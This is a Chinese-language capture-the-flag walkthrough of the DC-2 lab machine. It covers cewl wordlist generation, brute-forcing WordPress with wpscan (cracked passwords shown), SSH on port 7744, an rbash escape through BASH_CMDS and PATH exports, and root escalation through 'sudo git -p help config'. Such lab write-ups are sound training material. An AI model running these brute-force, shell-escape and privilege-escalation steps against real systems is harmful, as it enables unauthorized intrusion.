DC-2
flag1
1.扫描靶机IP
不能跟随重定向至http://dc-2/,意思就是没有做域名解析
2.配置hosts文件,设置本地dns解析
Flag 1: Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl. More passwords is always better, but sometimes you just can’t win them all. Log in as one to see the next flag. If you can’t find it, log in as another. #你通常的单词表可能不起作用,所以,也许你只需要保持冷静(cewl)。 #密码越多越好,但有时你无法赢得所有密码。 #以一个身份登录以查看下一个标志。 #如果找不到,请以其他身份登录。 关键步骤: 1./etc/hosts #本地域名解析文件
flag2
爬取密码字典
渗透测试工具Cewl使用方法及详细指南 - 🔰雨苁ℒ🔰 (ddosi.org)
cewl(网站内容爬取)
#用法:cewl[OPTIONS]<url>
选项:
-h、 --help:显示帮助。
-k、 --keep:保留下载的文件。
-d<x>,--depth<x>:蜘蛛到的深度,默认为2。
-m、 --min_word_length:最小字长,默认为3。
-x、 --max_word_length:最大字长,默认不设置。
-o、 --异地:让蜘蛛访问其他站点。
--exclude:包含要排除的路径列表的文件
--allowed:路径必须匹配才能遵循的正则表达式模式
-w、 --write:将输出写入文件。
-u、 --ua<agent>:要发送的用户代理。
-n、 --无单词:不输出单词列表。
-g<x>,--groups<x>:还返回单词组
--小写:所有已分析单词的小写
--带数字:接受带数字的单词,也可以只接受字母
--转换元音变音符:转换通用ISO-8859-1(Latin-1)元音变音符(ä-ae,ö-oe,ü-ue,ß-ss)
-a、 --meta:包括元数据。
--meta_file文件:元数据的输出文件。
-e、 --电子邮件:包括电子邮件地址。
--email_file<file>:电子邮件地址的输出文件。
--meta-temp-dir<dir>:exiftool在解析文件时使用的临时目录,默认/tmp。
-c、 --count:显示找到的每个单词的计数。
-v、 --verbose:详细。
--debug:额外的调试信息。
身份验证
--auth_type:摘要或基本。
--auth_user:身份验证用户名。
--auth_pass:身份验证密码。
代理支持
--proxy_host:代理主机。
--proxy_port:代理端口,默认为8080。
--proxy_username:如果需要,代理的用户名。
--proxy_password:如果需要,代理的密码。
页眉
--标头,-H:格式为名称:值-可以传递多个。
利用cewl爬取网站内容,成功获取到密码字典
发现目标网站CMS为WordPress版本为4.7.10
成功扫描出WordPress后台地址
爆破方法一(BurpSuite):
登陆提示:
爆破方法二(wpscan):
wpscan --url http://dc-2 -e u
用户名爆破成功
设置用户名字典
通过用户名密码字典爆破网页,成功爆破出jerry与tom
wpscan --url http://dc-2/ --passwords passwd.txt --usernames user.txt
Username: jerry Password: adipiscing
Username: tom Password: parturient
成功登录页面
Flag 2:
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
如果你不能利用WordPress并采取快捷方式,还有另一种方法。
希望你能找到另一个切入点。
关键步骤:
1.cewl爬虫爬取网站内容为用户名字典
2.BurpSuite爆破灵活使用
3.wpscan专项爆破WordPress的CMS
flag3
扫描全端口还有一个7744端口开放着,还是ssh服务. 使用 tom 账户登录ssh服务
发现了flag3,但是cat无法使用,vi可以
flag3:
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
可怜的老tom总是追着jerry跑。
也许他应该弥补(su)他造成的所有压力。
#提示切换到用户jerry
关键步骤:
1.ssh远程登录,端口变换为7744
flag4
详细讲解rbash绕过: https://www.freebuf.com/articles/system/188989.html
#解除bash限制
把/bin/bash给a变量
BASH_CMDS[a]=/bin/sh;a
将/bin 作为PATH环境变量导出
export PATH=$PATH:/bin/
将/usr/bin作为PATH环境变量导出
export PATH=$PATH:/usr/bin
切换到jerry
flag4
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
很高兴看到你已经走了这么远,但你还没有回家(home)。
你仍然需要获得最终的标志(唯一真正重要的标志!!)。
这里没有提示-你现在只能靠自己了。:-)
继续——(git)滚出去!!!!
关键步骤:
1.rbash逃逸
flag5
sudo git 提权
使用 git 命令,查看git帮助文档:
sudo git -p help config
执行完config后,在页面里输入:!/bin/bash,即可完成提权。
flag5:
__ __ _ _ _ _
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/
Congratulatons!!!
A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.
祝贺!!!
特别感谢所有给我发推特的人
并为我提供了反馈——这一切都很好
非常感谢。
如果你喜欢这个CTF,请通过@DCAU7给我发一条推特。
关键步骤:
1.sudo git提权